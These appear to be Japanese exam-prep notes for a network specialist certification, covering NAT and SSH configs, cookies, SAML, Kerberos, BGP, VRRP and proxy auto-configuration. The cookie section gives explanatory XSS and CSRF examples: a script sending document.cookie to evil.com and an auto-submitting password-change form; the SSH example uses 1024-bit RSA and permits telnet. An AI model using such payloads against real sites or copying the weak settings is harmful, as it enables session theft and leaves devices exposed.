• ポイント: メールアドレスの @ はDNSのゾーンファイルにおいて特別な意味（ゾーン名自体を表すシンボル）を持つため、最初の .（ドット）を @ に読み替えるルールになっている。つまり、これは hostmaster@example.jp を表している。

p.13 表１を実現するためのNATコマンドは？

#DMZ側（G0/1）: ip nat inside（内側ネットワークと定義）
#インターネット側（G0/0）: ip nat outside（外側ネットワークと定義）
ip nat inside source static tcp 192.168.1.1 53 100.α.β.1 53
ip nat inside source static udp 192.168.1.1 53 100.α.β.1 53
ip nat inside source static tcp 192.168.1.2 443 100.α.β.2 443
ip nat inside source static tcp 192.168.1.3 25 100.α.β.3 25

interface GigabitEthernet0/0
 description Internet-Side
 ip address 100.α.β.254 255.255.255.0
 ip nat outside
 
interface GigabitEthernet0/1
 description DMZ-Side
 ip address 192.168.1.254 255.255.255.0
 ip nat inside

p.13 Cookie

HTTPは本来ステートレスなプロトコルだがCookieを使うことでステートフルとして扱うことができる。

1. 初回アクセス時（認証・セッション発行）
　ユーザーがログイン画面でID/パスワードを送信して認証が成功すると、Webサーバー側でランダムなセッションIDが生成される。

• Webサーバー → Webブラウザ（応答）
  • HTTPレスポンスヘッダーの Set-Cookie フィールドにセッションIDを入れて返す。
  • Set-Cookie: PHPSESSID=abc123xyz...

2. ブラウザによる保存
　Webブラウザはレスポンスの Set-Cookie を見ると、指示されたセッションIDを自身のローカル記憶領域（Cookieストレージ）に保存。

3. 2回目以降のアクセス（状態の維持）
　ブラウザは以降同じWebサイトにリクエストを送る際、保存してあるセッションIDを自動的に引き出してヘッダーに付与する。

• Webブラウザ → Webサーバー（要求）
  • HTTPリクエストヘッダーの Cookie フィールドにセッションIDを入れて送信します。
  • Cookie: PHPSESSID=abc123xyz...

4. サーバー側での識別（擬似ステートフル）
　Webサーバーは届いた Cookie ヘッダーのセッションIDを見て、自身のメモリやDBにあるセッション情報と照合する。 「あ、このセッションIDはさっきログインしたAさんだ」と認識できるため、ページを遷移してもログイン状態を維持（ステートフル化）できる。

Q.Cookieの「セキュリティ属性」には何がある？

Set-Cookie に付与するセキュリティ属性を3つ押さえておくとさらに知識が確実になる。

• Secure 属性
  • 効果: HTTPS通信のときだけCookieを送信させる（HTTPのときは送信しない）。
  • 目的: 盗聴（盗み見）によるセッションハイジャックを防ぐ。
• HttpOnly 属性
  • 効果: JavaScriptなどのスクリプトからCookieへのアクセス（document.cookie）を禁止する。
  • 目的: XSS（クロスサイトスクリプティング）攻撃によって悪意ある第三者にセッションIDを盗まれるのを防ぐ。
• SameSite 属性
  • 効果: 他のサイトからのリンクやフォーム送信時にCookieを送信するか制御する（Strict / Lax / None）。
  • 目的: CSRF（クロスサイトリクエストフォージェリ）攻撃を防ぐ。

Q.XSS（クロスサイトスクリプティング）って何？

Webサイトの脆弱性を突いて、アクセスしたユーザーのブラウザ上で悪意のあるJavaScriptを実行させる攻撃。

▼XSSのフロー

１．攻撃者が、掲示板などの入力フォームに以下のようなJavaScriptコードを投稿

<script>
  // 被害者のCookieを奪って攻撃者のサーバーに送信するコード
  location.href = 'https://evil.com/steal?cookie=' + document.cookie;
</script>

２．一般のユーザー（被害者）がその掲示板ページを開く。
３．被害者のブラウザは、それを「サイトの正常なコード」だと勘違いしてJavaScriptを実行してしまう。
４．結果として、被害者のセッションID（Cookie）が攻撃者に送信されて奪われる。

Q.HttpOnlyをすると正規のサービスに支障が出るのでは？

Q.HttpOnlyをするとXSSの対策になる。これは不正なJavaScriptコードからCookieを使わせないからである。しかし、これをしたら正規のサービス側がCookieを使おうとした場合もブロックされてしまうのでは？そしたらステートフルな通信が実現しないのでは？

A.WebブラウザとWebサーバーの間でCookieをやり取りしているのは、JavaScriptではなく「ブラウザそのもの（HTTP通信の機能）」。

1. サーバーが Set-Cookie: PHPSESSID=12345 を返す。
2. ブラウザ本体がそれを自動で記憶する。
3. 次回アクセス時、ブラウザ本体が自動的に Cookie: PHPSESSID=12345 ヘッダーを付けて送信する。

この裏側の自動やり取りに、JavaScriptは1行も挟まっていないため、HttpOnlyを使ってもステートフルを維持できる。

Q.XSSによってセッションIDが奪われたらどうなるの？

Q.XSSによってセッションIDが奪われることは理解できたが、奪われたことによって何が起きるのかがいまいちわかっていない。。。何が起きるの？

A.Webサーバーは、リクエストが来たときに「正しいセッションIDが付いているか」だけで本人かどうかを識別している。IDやパスワードを毎回確認しているわけではない。そのため、攻撃者があなたのセッションIDを手に入れて自分のブラウザにセットしてアクセスすると、Webサーバーは「あ、ログイン済みの本人（あなた）が操作しているな」と完全に勘違いする。

パスワードを知られなくても、あなたがログイン後にできる操作はすべて攻撃者にもできてしまう。

• 個人情報の閲覧・悪用：当該サイト内に登録された氏名、住所、電話番号、クレジットカード情報（下数桁や登録情報）、購入履歴などの閲覧
• 不正な処理の実行：
  • 当該サイトがECサイトの場合は勝手に商品を注文し、送付先を攻撃者の住所にする
  • 当該サイトがSNSや掲示板の場合、本人になりすまして不正な投稿やダイレクトメッセージを送る
  • 当該サイトがネットバンキングの場合、不正送金を行う
• アカウントの完全な奪取：
  • 登録メールアドレスやパスワードを攻撃者のものに変更し、本来のユーザーを締め出す

Q.CSRF（クロスサイトリクエストフォージェリ）って何？

CSRF（Cross-Site Request Forgery：クロスサイトリクエストフォージェリ）は、ログイン状態にあるユーザーのブラウザを悪用し、本人が意図しない「処理のリクエスト（要求）」を偽造して対象サーバーに送信させる攻撃。XSSとの最大の違いは、攻撃者がセッションIDやパスワードを盗む必要が一切ないという点。

▼CSRF攻撃のフロー

１．前提条件:
　あなたがショッピングサイト（ec-shop.com）にログインしており、ブラウザにログイン状態のCookieが保持されている。
２．罠サイトへの誘導:
ログインした状態のまま、攻撃者から届いた「お買い得情報！」というメールのリンクをクリックし、攻撃者の罠サイト（evil.com）を開いてしまう。
３．勝手なリクエスト送信:
罠サイトの背景には、以下のような見えないフォームと自動実行スクリプトが仕込まれている。

<!-- 罠サイト（evil.com）内に仕込まれたコード -->
<form action="https://ec-shop.com/change-password" method="POST">
  <input type="hidden" name="new_password" value="attacker_password123" />
</form>
<script>document.forms[0].submit();</script>

４．ブラウザによる自動送信:
　罠サイトを開いた瞬間にフォームが自動送信されます。宛先は ec-shop.com なので、あなたのブラウザは保持している ec-shop.com のログインCookieを自動で添付して送信。
５．被害の発生:
　ec-shop.com のサーバーは「ログイン済みのあなたからパスワード変更の要求が来た」と判断し、パスワードを attacker_password123 に書き換えてしまう。

p.14 Q.SSHでの接続とは？

Q.SSHってなんとなく、「リモート機器に対して暗号化して操作する」みたいな認識はあるけど、いまいちどうやっているのかが分かっていない。。。ということで明確にしていこう！

A.では、SSH（SecureShell）の通信フローを確認しながら紐解いていこう

▼SSHの接続フロー

１．DH鍵交換：
　・クライアントとサーバーがそれぞれの使い捨ての「一時鍵（秘密鍵と、秘密鍵をベースにした公開鍵）」を使ってDHを実行。
　・DHにより互いに同じ共通鍵（セッション鍵）を得る。
２．暗号化の開始：
　・得られた共通鍵で、以降の通信をすべて暗号化する。
３．認証要求：
　・暗号化された通信内で「ユーザーXでログインしたい」と要求する。
４．チャレンジ送信：
　・サーバーが「今回のセッションID」などのデータを送る。
５．署名作成：
　・クライアントが自身の「長期的秘密鍵」でデータに署名し、暗号化して返す。
　・ここで使う秘密鍵はサーバにも事前に登録されている公開鍵と紐づいた秘密鍵である。
６．署名検証：
　・サーバーが登録済みの「長期的公開鍵」で署名を検証し、本人と確認できればログイン許可。
７．以降の通信：
　・最初にDHで作った共通鍵のまま、暗号化してシェル操作などを行う。

▼SSHのコマンド

en
conf t
hostname ホスト名
ip domain name ドメイン名
ip ssh version 2
crypto key generate rsa modulus 1024

line vty 0 4
login local
transport input telnet ssh

#接続時（PC側にて）
ssh ユーザ名@IPアドレス

p.15 Q.ソースNATとは？

NATにはSNAT、DNAT、スタティックNAT、ダイナミックNAT、NAPTなどの複数の種類があり混乱を引き起こしてしまう。しかし、大きく分けて２つの軸で分類するとわかりやすくなるので一緒に見ていこう！

▼NATの全体像

【軸A：何を書き換えるか？】
 ├── SNAT（Source NAT）     ：送信元IPを書き換える
 └── DNAT（Destination NAT）：宛先IPを書き換える

【軸B：どう割り当てるか？】
 ├── スタティックNAT（Static） ：1対1で「固定」変換
 ├── ダイナミックNAT（Dynamic）：プールした複数のIPから「動的」に割り当て
 └── NAPT（IPマスカレード/PAT）：IP＋「ポート番号」を使って1つのIPを複数台で共有

Q.SNATとDNATの違いは？

SNATとDNATの区別がよくわからない。。だって、行きの通信で宛先をプライベートIPに変換するDNATをするとするじゃん。で、そのパケットが返ってくるときは、送信元をグローバルIPにして返信するじゃん？要はSNATをしているのでは？ということはDNATをやればSNATが必然的に実行されるってこと？

A.DNATの戻りパケットはSNATとは呼ばずDNATの逆変換と解釈する。帰りのパケットで送信元IPが変わっているが、これはあくまで「行きのDNATの対となる自動処理」であるため、技術的には「SNATを実行した」とは言わず、全体として「DNAT通信（の復路）」と呼ぶ。
これはSNATも同じ。帰りでは宛先を変換するがこれはDNATとは呼ばずに単なる「行きのSNATの対となる自動処理」。

Q.SNATとDNATのコマンドの違いは？

▼SNAT
(config)# ip nat inside source list <ACL> pool <POOL名> overload

▼DNAT
(config)# ip nat inside destination list <ACL> pool <SERVER_POOL名>

p.16 Q.なんで運用PCからECサーバへ通信できないの？

本文中にもある通り、LBはルータとしては機能しない。要はVIP宛ての通信のみセッションテーブルに記録して負荷分散を実施する。
しかし、運用PCとECサーバとの通信はVIP宛てになる瞬間がないのでセッションテーブルに記録されておらず宛先が分からず、ECサーバから運用PCへの復路パケットはLBで破棄される。

＊ちなみに👇より、運用PCサブネット(192.168.0.0/24)とz-DCのサブネット(192.168.1.0/24)は異なるため、ECサーバは必然的にデフォルトルートであるLBに送らざるを得ない。もし、運用PCとECサーバが同一サブネット内であればデフォルトルートを経由しないため、運用PCとECサーバでの通信が可能になる。

p.16 Q.X-Forwarded-Forとは？

SNATを実施する機器にて、本来の送信元を保持するためのHTTP拡張機能。
SNATをすると送信元が変わってしまう。そのままだと受信はすべてのパケットがSNAT変換されたIPになってしまい、ログ解析・フィルタリングなどの送信元IPを使った機能が無駄になってしまう。
そこで、X-Forwarded-ForというHTTP拡張機能を使うことで、SNATを実施してもHTTP拡張ヘッダーの中に本来の送信元を記載してパケットを転送する。そうすることで受信側は、X-Forwarded-Forに格納されているIPを対象にフィルタリング・ログ解析等を実施することができるようになる。

p.18 Q.SAML2.0ってなに？

SAML（SecurityAssertionMarkupLanguate2.0）とは「異なるシステム間で安全にシングルサインオン（SSO）を実現するための共通ルール（標準規格）。
サービスごとにIDやパスワードを管理するのではなく、IdP（アカウントを一元管理するサーバー）に認証を任せる。IdPから『この人は本人だよ』という証明書（SAMLアサーション）が届くことでログインを許可するため、サービス側でパスワードを保持・管理する必要がなくなり、運用負荷や漏洩リスクを大幅に減らせる。

p.19 Q.ケルベロスって何？

ケルベロス認証とは社内のSSOをサポートする仕組みである。ケルベロス認証が生まれた最大の理由・メリットは以下の3点。

1. 生パスワードをネットワーク上に絶対に流さない（★最大のメリット）
   パスワードそのものはクライアント側で暗号キーを作るためだけに使い、通信上には暗号化されたチケットやセッション鍵しか流れない。
2. 社内ネットワークでのシングルサインオン（SSO）の実現
   朝PCにログイン（TGTを取得）してしまえば、社内のファイルサーバーやWEBサーバーにアクセスする際、ユーザーは二度とパスワードを入力する必要がない。
3. リプレイ攻撃（盗聴・再利用）の防止
   Authenticatorに含まれるタイムスタンプ（通常5分以内の誤差のみ許容）があるため、途中で通信を盗聴されてパケットをそのまま再送信されても、サーバー側で拒否できる。

▼ケルベロス認証のフロー

【第1段階：AS（認証サーバー）とのやり取り】
クライアント ──(ID送付)──> AS
クライアント <──(TGT + TGSセッション鍵)── AS
※ TGSセッション鍵は「ユーザーのパスワード由来の鍵」で暗号化されている。
※ クライアントはパスワードで解凍して「TGSセッション鍵」を取得。

【第2段階：TGS（チケット交付サーバー）とのやり取り】
クライアント ──(TGT + Authenticator A)──> TGS
※ Authenticator A は「TGSセッション鍵」で暗号化（タイムスタンプ入り）。
クライアント <──(ST + サービスセッション鍵)── TGS
※ サービスセッション鍵は「TGSセッション鍵」で暗号化されている。
※ クライアントは「TGSセッション鍵」で解凍して「サービスセッション鍵」を取得。

【第3段階：サービスサーバー（ECサーバー等）とのやり取り】
クライアント ──(ST + Authenticator B)──> サービスサーバー
※ Authenticator B は「サービスセッション鍵」で暗号化（タイムスタンプ入り）。
※ サービスサーバーはSTを自身の秘密鍵で復号し、「サービスセッション鍵」を取り出して Authenticator B を検証。

（１）DNSラウンドロビン

１つのドメイン名に対して複数のIPアドレスを割り当てることをDNSラウンドロビンという。
▼具体的な挙動
例えば、同一ドメインに対して3つのAレコード（IPアドレス（IP-1, IP-2, IP-3））が登録されている場合、DNSサーバは以下のように応答する。

1回目の問い合わせ：[ IP-1, IP-2, IP-3 ] の順番で返す
2回目の問い合わせ：[ IP-2, IP-3, IP-1 ] の順番で返す
3回目の問い合わせ：[ IP-3, IP-1, IP-2 ] の順番で返す

1件だけ返してしまうと、そのサーバが死んでいた場合にPCは通信不能になる。複数件まとめて返しておけば、PCは「先頭のIP（例: IP-1）に接続を試みてタイムアウトしたら、2番目のIP（例: IP-2）へ自動的に再接続する」という動作ができるため、クライアント側での簡易的な障害回避が可能になる。

（３）192.168.2.145

切り替え後、つまり障害が発生した際にはどのプロキシサーバを使うかが聞かれている。
案１を見ると、通常時はB（192.168.1.145)が使われて、障害時はCに切り替えると書かれているのでCのIPアドレスである192.168.2.145を指定することが推測される。

＊注意！案２でもDNSのIPアドレス変更は必須

正直、案２の場合はDNSを書き換えなくても、クライアントには複数レコードが配られるので自動でフェイルオーバーできるから書き換える必要はないのでは？？という発想が生まれる。
しかし、クライアント側に自動フェイルオーバーがない場合はアクセスできなくなってしまう。また、もしもフェイルオーバー機能があったとしても、障害発生プロキシのIPが先頭の状態で届いたクライアントは確実に１回はアクセスできないサーバにアクセスしなければならず、それは非効率。
そのため、ワンちゃんフェイルオーバー機能で通信できるかもしれないけど、ユーザに迷惑をかける確率の方が高いので障害が起きたらしっかりとDNS設定を変更しようよね！ということ。

（５）方法：プロキシ自動設定機能を利用する　制限事項：対応するPCやサーバでしか利用できない

では、一つずつ分解しながら回答を導いていこう！

Q.DNSとは異なる方法とは？

「DNSとは異なる方法」とは、DNSゾーンファイルの書き換えを行わずに、端末自身に即座に正常なプロキシへ切り替えさせることを意味している。指している。

Q.プロキシサーバを利用する側の環境とは？

「プロキシサーバを利用する側の環境」とは、つまりプロキシサーバを使うユーザ/クライアント側の環境を意味する

Q.そもそもユーザはどうやってホスト名を知っているの？

「従業員が指定するホスト」と書かれているが、もしもこれがユーザの持つPACファイルに書かれた情報をもとにしているのであれば、WPADなんか使わずに、最初からこのPACファイルに負荷分散をするJavaScriptを書けばいいのでは？

#負荷分散ができるJavaScript
function FindProxyForURL(url, host) {
    // クライアントのランダム値で50%の確率で優先順位を反転
    if (Math.random() < 0.5) {
        return "PROXY ProxyB:8080; PROXY ProxyC:8080";
    } else {
        return "PROXY ProxyC:8080; PROXY ProxyB:8080";
    }
}

A.結論として、元々はPACファイルではなく、ブラウザにホスト名が直接設定されている状態である。PCのキッティング時やActive Directoryのグループポリシー（GPO）によって、ブラウザの「プロキシ設定」の項目に、手動設定の形で proxy.a-sha.co.jp:8080 と直書きされている。したがって、クライアントは通信のたびに proxy.a-sha.co.jp のIPアドレスをDNSに問い合わせをしている。

結論

以上の点から、PACファイルを動的に配ることができれば、ブラウザに直書きの情報ではなくPACによる制御に変えられる。PACには以下のようなプロキシを負荷分散できるJavaScriptを書くことができるので、PACファイルさえ配れれば案２を満たすことができる。
そして先ほどから挙がるプロキシを動的に配る方法こそがプロキシ自動設定機能（WPAD:WebProxyAuto-Discovery）である。これはプロキシをDNSやDHCPなどの機能を使って配布する方法である。しかし、そもそもの前提として、これをWPADを利用するには、プロキシを利用するクライアント端末（OS、ブラウザ、アプリ）側が、PACファイル（JavaScript）を実行・解釈する機能を持っている必要がある。つまりは対応するPCやサーバでしか利用できないということ。

#負荷分散ができるJavaScript
function FindProxyForURL(url, host) {
    // クライアントのランダム値で50%の確率で優先順位を反転
    if (Math.random() < 0.5) {
        return "PROXY ProxyB:8080; PROXY ProxyC:8080";
    } else {
        return "PROXY ProxyC:8080; PROXY ProxyB:8080";
    }
}

▼WPADの詳しいフローなどはこちら

令和6年（2024年）ネスペ午後Ⅰ　問Ⅲ　解答解説

設問１（１）ア：ハブアンドスポークこれは知識問題なので覚えておこう！（５）インタフェースにIPアドレス割り当てを行わない設定IP Unnumberedは、文字通り「番号（IPアドレス）を割り当てない...

ascend-beyond.com

2026.09.12

設問２

（１）a:　b:　c:　d:　e:ルーティングテーブル（RIB）　f:

e:ルーティングテーブル（RIB）

これを間違えてFIBと回答してしまう人が多々いる。なので、ここではRIB、FIB、ルーティングテーブルの違いをササっと見ていこう！
▼簡易的な流れ
１．ルーティングプロトコルが自身のアルゴリズムをベースに最適パスを見つける。その最適パスをRIBに提出する
２．RIBはAD値で比較してどのプロトコル（OSPF,BGP,EIGRPなど）を最適経路として扱うかを決める。これがいわゆるルーティングテーブルに登録するという段階
３．パケット転送には、ネクストホップのIPアドレスだけでなく、ネクストホップのMAC、そこに行くための送信ポートを検索する必要がある。それらを毎回やるのは非効率なので１つのテーブルとしてまとめておいてくれるのがFIB。

▼FIBとは？

たとえば、BGPで学習したRIBの情報は次のようになっている。

宛先: 10.0.0.0/8 ➔ ネクストホップ: 192.168.1.1

これを受け取ったルータは、パケットを目の前のLANケーブルに流すために、以下の3ステップの検索を毎回行わなければならない。

1. RIBを検索（1回目）：宛先 10.0.0.0/8 に行くには 192.168.1.1 に送ればいいな。
2. RIBを再検索（2回目）：で、192.168.1.1 に送るにはどの物理ポート（例: Ge0/0/1）から出せばいいんだ？（直結経路の確認）
3. ARPテーブルを検索（3回目）：192.168.1.1 のMACアドレスは何だ？

パケットが1個届くたびに、CPUがルーティングテーブルとARPテーブルを何回も往復して検索（再帰検索）していたら、毎秒数百万〜数億個届くパケットを捌ききれない。そこで、BGP更新や静的経路の変更があった時に、あらかじめCPUがこの3ステップを事前に計算して解決した「カンニングペーパー」を作成する。これがFIB。

（２）自身のIPアドレス

R13はR11からR12の情報をもらった場合、ネクストホップはR12となっている。なぜならiBGPではネクストホップを変えずに流すから。そのため、R13はR12と接続していないので、その経路は無効扱いになってしまう。R13はR11からR12の情報をもらった場合、ネクストホップはR12となっている。なぜならiBGPではネクストホップを変えずに流すから。そのため、R13はR12と接続していないので、その経路は無効扱いになってしまう。それを防ぐために、R11ではnext-hop-selfをつかう。next-hop-selfを使うことで、ネクストホップを自身のIPアドレスに上書きできる。これによりR13はR11からもらうR12からの経路も有効として判断できる。
これは、R13からR11に渡す場合も同様である。

（４）VRRPマスターになったR13が経路情報を保持していないと受信したパケットを転送できないから

Q.BGPを行った後にVRRPを導入する理由は？
A.もし、先にVRRPを稼働させた場合、誤ってR13がマスタになるとR13は経路情報をまだ学習できていないので、流れてきたパケットは破棄されてしまう。そのため、まずは、BGPで経路情報を取得して疎通できる状態にしてから、VRRPを動作させる。
そうすることで、VRRP設定時に意図せずR13がマスタに昇格しても疎通を続けられるというわけである。
＊VRRP設定作業では、障害が起きていなくてもR13が一瞬（または恒久的に）VRRPマスタになることがあるので、念には念をという観点でこの順番をとる。

（５）確認事項：パケットロスが発生しないこと① [送信元：R13 宛先：FW10] or [送信元：FW10 宛先：R13] or [送信元：R13 宛先：R11] or [送信元：R11 宛先：R13] ② [送信元：R14 宛先：R13] or [送信元：R13 宛先：R14]

確認事項：パケットロスが発生しないこと。
　確認事項としては、pingが一発届くだけでなく、しっかりと連続で届くことを確認する。そうすることでパケット落ちが発生してないかという回線・機器の品質を確かめられる

① [送信元：R13 宛先：FW10] or [送信元：FW10 宛先：R13] or [送信元：R13 宛先：R11] or [送信元：R11 宛先：R13]
　LAN側の確認をしている

② [送信元：R14 宛先：R13] or [送信元：R13 宛先：R14]
　WAN側の確認をしている

（７）① R11② R13③ R11 と R12 とを接続する回線④ R13 と R14 とを接続する回線⑤ R11 と L2SW10 とを接続する回線⑥ R13 と L2SW10 とを接続する回線

これは新規導入による疎通確認テストではない。あくまでも障害試験である。
障害試験とは稼働中のシステムに対して、あえて意図的に障害を起こし、裏のルートに切り替わるかを確認すること。
よって、今回の目的はマルチホーミングなので既存のR11などもわざと障害を起こしてR13経路に切り替わるかを確認する必要がある。

設問３

（１）ルーティングのループが発生する

では、１つ１つ現象を紐解いていこう！

Q.D社閉域NWの設定変更とは？

A.FW40にインターネット宛てのデフォルトルートを広告する設定である。これを設定することで、R12,R14へとインターネット宛ての経路が確立される

Q.FW10のデフォルトルートの設定変更を行うとは？また、どうなる？

A.FW10の変更とは、インターネット宛ての通信をR10からVRRPの仮想IP宛て（＝D社閉域網宛て）に変えることを意図している。

Q.なぜループになるの？

A.上述した内容を念頭に置きつつループが発生するフローを見ていこう
▼ループのフロー
１．F10のルーティングテーブルにインターネット宛てをD社閉域網宛てにする（VRRPの仮想IP）
２．FW10にインターネット宛てのパケットが届くとR11に転送する
３．R11のテーブルではインターネット宛てはFW10となっているのでFW10へ送信する
４．TTLが０になるまで１～３を繰り返す＝ループ
以上がループが起きる原因である。
では、次は逆にD社閉域網側のFW40にインターネット宛てのパケットを受け取る設定を入れた場合のフローを見ていこう！
▼正しい手順でインターネット宛てルートを設定した場合
１．FW40にインターネット宛てデフォルトルートを設定する
２．D社閉域網内のMP-BGPによりR12,R14にその経路が流れる
３．FW10側でもインターネット宛てはD社閉域網側に行くように設定する
４．実際のパケットがFW10に届くとR11に転送する
５．R11はR12からeBGPでインターネット宛ての経路を受け取っているのでR12に転送する
６．R12はFW40に転送する
７．FW40はインターネットへ流す

（３）送信元IPアドレスがプロキシサーバAで宛先IPアドレスがインターネットであった場合にネクストホップをR10とする設定

▼整理された全体フロー

• 特定部門（送信元IP制限のあるサービスを利用）
  1. 本文にもある通り特定部門にはプロキシAを案内し、ブラウザ等でプロキシAを設定してアクセス
  2. FW10がPBRによって「送信元＝プロキシA」を検知し、ネクストホップをR10（旧ルート）へ強制転送
  3. 旧グローバルIPのままインターネットへ出るため、外部サービスのフィルタリングを無事クリア
• 一般部門（通常通信）
  1. DNSの自動制御（案2）によりプロキシBまたはCを参照
  2. FW10は通常通りデフォルトルートに従い、D社閉域網（新ルート）へ転送
  3. D社閉域網を通ってFW40（新グローバルIP）でNAPT変換され、インターネットへ出る

▼PBRの例

access-list 1 permit プロキシAのIP サブネット

route-map ルートマップ名 permit シーケンス番号
 match ip address 1
 set ip next-hop R10のIP
 
interface プロキシとつながっているインタフェース名
 ip policy route-map ルートマップ名

p.2 Q.IaaS（Infrastracture as a Service）って何？

A.IaaSとは、インフラをクラウド上で利用できるサービスのこと。つまり、自社内に電源、サーバーラック、LANケーブル、ネットワーク環境などの手配をする必要がなくなるということ。しかし、その上で動作するOS、アプリ、FWルールなどはすべて自分でやる必要がある。

p.2 Q.閉域網ってなに？

A.閉域網とはインターネットとは隔絶された独自のネットワーク。主にMPLSサービスなどが代表例としてある。これを使うことによって、閉じた空間なのでプライベートIPアドレスを広告して、離れた拠点間とのプライベートIPアドレス同士の通信ができるようになったりする。

Q.閉域網とインターネットVPN（IPsecなど）の違いは？

正直、閉域網でできることってインターネットVPNでも実現できるよね？暗号化して、カプセル化をすれば離れた拠点でもプライベートIP同士の通信ができるよね。じゃあ、なんで今も閉域網サービスは存在しているの？

A.結論から言うと、現代において企業がインターネットVPNではなく閉域網を選ぶ最大の理由は「通信品質の保証（SLA）」と「回線の信頼性・安全性の確保」にある。現代のインフラ観点でのポイントを比較表でまとめよう。

Q.IaaSと閉域網の連携は誰が負担するの？

A社側がIaaS上で自分でD社と契約処理をしているのか、はたまた、B社がサービスとしてあらかじめD社の閉域網を利用できる形式を整えてくれているのか？だれが何をやっているのかを明確にしたい。

A.結論から言うと、費用や契約の最終的な負担者は「A社」だが、D社閉域網とB社IaaSの間の物理的・論理的な接続ライン（相互接続）自体は、B社とD社（事業者同士）があらかじめ準備して連携しているものになる。
▼各プレイヤーの役割と負担

• B社（IaaS）と D社（回線事業者）の関係
  • あらかじめB社のデータセンターとD社の閉域網（MPLS網）を大容量の回線で相互接続（ピアリング）しておく。
  • これにより「D社の閉域網を使っている顧客なら、インターネットを経由せずに直接B社IaaSにアクセスできる準備」が整っている。
• A社（利用企業）の契約と費用負担
  • 費用を支払うのはすべてA社。
  • A社は ①D社に対して「自社〜B社IaaS間の閉域網利用オプション料金」 を支払い、②B社に対して「閉域網接続用ポート（専用線ゲートウェイなど）の利用料」 を支払って設定を行う。

Q.もし、IaaSがサポートしていない閉域網を自社で使っていたら？

IaaSはサービスとして閉域網をあらかじめ接続準備してくれている。しかし、もし、自社で使っている閉域網がIaaSではサービス対象外であった場合、自分で接続処理などをしなくてはならないの？また、それはどうやってやるの？

A.「IaaS側で自社の閉域網が直接サポートされていない場合、中間事業者（マルチクラウド接続事業者）を挟んで繋ぐ」というのが、現代のエンタープライズネットワークにおける標準的な解決策。

Q.どうやって繋ぐのか？（解決策：中間事業者の利用）

そこで登場するのが、Equinix（エクイニクス）やMegaport（メガポート）といったデータセンター／マルチクラウド接続事業者（データエクスチェンジ事業者）。
▼接続のイメージ

• 自社〜中間事業者：既存の閉域網（D社）を中間事業者のデータセンターまで伸ばして接続する。
• 中間事業者〜IaaS：中間事業者はすでに主要なIaaS（AWS, Azure, GCP等）すべてと大容量の専用線で直結している。
• データ転送：中間事業者の拠点でパケットを折り返し、自社の閉域網からIaaSへ通信を流し込む。

Q.っつか、じゃあ中間事業者をメインの閉域網として使えばよくね？

A.完全にその通りで、実際に多くの企業がそのような構成（自社拠点〜中間事業者〜各クラウド）へ移行している。中間事業者の内部ネットワークも閉域網として運用されているので、乗り換えても閉域網として維持できるので問題ない。しかし、運用・契約上の都合などによって従来の閉域網を残す理由もある。
▼従来の閉域網（D社等）を残す主な理由

• ラストワンマイル（物理回線）の調達能力
  中間事業者（Equinix等）は「都市部のデータセンター内」に拠点を持っている。全国にある自社オフィスや工場からそのデータセンターまで物理的な回線を引いて連れてくる役割（アクセス回線）として、キャリア（D社等）の網が必要になる。
• 長年の契約とコスト・移行リスク
  すでにD社と長期契約（数年単位の割引等）を結んでいたり、全国数十拠点の設定変更・乗り換え工事に膨大なコストとリスクがかかるため、既存網を活かしたままクラウド接続部分だけを追加・拡張するケースが多く存在する。

p.3 A社の静的経路制御とは？

スタティック設定にしていると記されているが、具体的にどの機器でどんなスタティック設定をしているのか？現在の構成（図1）を見ると、通信の行き先は主に3パターンしかないので、それらを見ていこう！

1. 本社PCから営業所やIaaSへ行く通信
   • L3SW10：物理的にFW10にしかつながっていないので、ネクストホップはすべてFW10になる
   • FW10：FW10は「192.168.1.0/24（B社IaaS）や営業所宛てのパケットが来たら、ネクストホップ（次の送り先）を R11 に向ける」というスタティック経路を手動で書き込んでいる。
2. 本社からインターネットへ行く通信
   • L3SW10：物理的にFW10にしかつながっていないので、ネクストホップはすべてFW10になる
   • FW10の設定：「デフォルトルート（0.0.0.0/0：どこにも該当しない外向けの通信）は R10 に向ける」というスタティック経路を設定している。
3. 営業所から本社やIaaSへ行く通信
   • R20（営業所ルータ）の設定：「本社やIaaS宛て、あるいはインターネット宛ての通信はすべて D社閉域網（R21） に向ける」というスタティック経路を設定してる。

p.3 “開発サーバをシステム部が構築”って具体的に何をやっているの？

A.開発担当者には、あたかも「物理サーバがすぐそこにある」という状態で渡したい。そのために以下の設定が必要になる。
＊ちなみに、「開発サーバ」とはシステムを開発するためのサーバ。このサーバ上で多くのトライ＆エラーやりながら開発を進めていく。「テストサーバ」は開発サーバである程度形になったものの挙動をテストするためのサーバ。このテストサーバ上で、コードの修正などは基本的に実施しない。
▼構築

• インフラリソースの手配：B社IaaS上で仮想マシン（VM）を作成（CPU・メモリ・ディスク容量の割り当て）
• ネットワーク・IP設定：社内からアクセスできるようにプライベートIPアドレス（192.168.1.x）を付与し、ルーティングやFW/セキュリティグループを設定
  ＊開発担当者に直接仮想サーバを作らせると、内部でIPアドレスの重複が起きたり、セキュリティ設定が甘くなったりして、踏み台にされてしまうリスクがある。そのため、システム部門で一元管理している。
• OSのインストール・初期設定：LinuxやWindows ServerなどのOSを導入し、セキュリティパッチの適用や最低限のアカウントを作成

▼引き渡し

• アクセス用情報の提供：「IPアドレス（またはホスト名）」「管理用アカウント（管理者IDと初期パスワード、またはSSH秘密鍵）」を担当部門に通知する。
• 利用環境の案内：「社内PCからSSHやリモートデスクトップ（RDP）でアクセスして開発に使ってください」と伝達する。

▼引き渡し後
引き渡された後、開発サーバBの中で何をするかは担当部門（現場のエンジニア）の責任になります。

• ミドルウェア・開発環境の導入：Webサーバ（Apache/Nginx）、データベース（MySQL等）、PythonやJavaなどのプログラミング言語環境のインストール
• ソースコード・アプリの配置：開発するシステムのプログラムを入れて動かす
• 日々の運用管理：アプリのログ管理、開発メンバー用のアカウント追加・削除、不要になった際のシャットダウンや再起動

p.3 サーバがプロキシを使うとは？

プロキシを使う対象として、ブラウザとサーバが挙げられている。ブラウザはわかるけど、サーバにプロキシを指定って。。。どのサーバのこと？

A.開発サーバにはどのプロキシを使うかの設定が必要。APIやライブラリなどと連携するときにインターネットからそれらの情報を取得したりする必要があるので開発サーバにもプロキシ設定は必要。

Q.NAPTとは？

NAPT（IPマスカレード）とは送信元IPアドレスに加え「送信元ポート番号」も一緒に変換することで、1つのグローバルIPを複数の内部機器で同時に共有できるようにするアドレス変換技術。

▼NAPT雑学

ポートは2¹⁶、つまり総数は65,536個。その中の0~1023はウェルノウンポートとして予約されている。つまり、1つのアドレスで表現できる総数は、65536-1024=64,512個となる。

▼NAPT実装コマンド

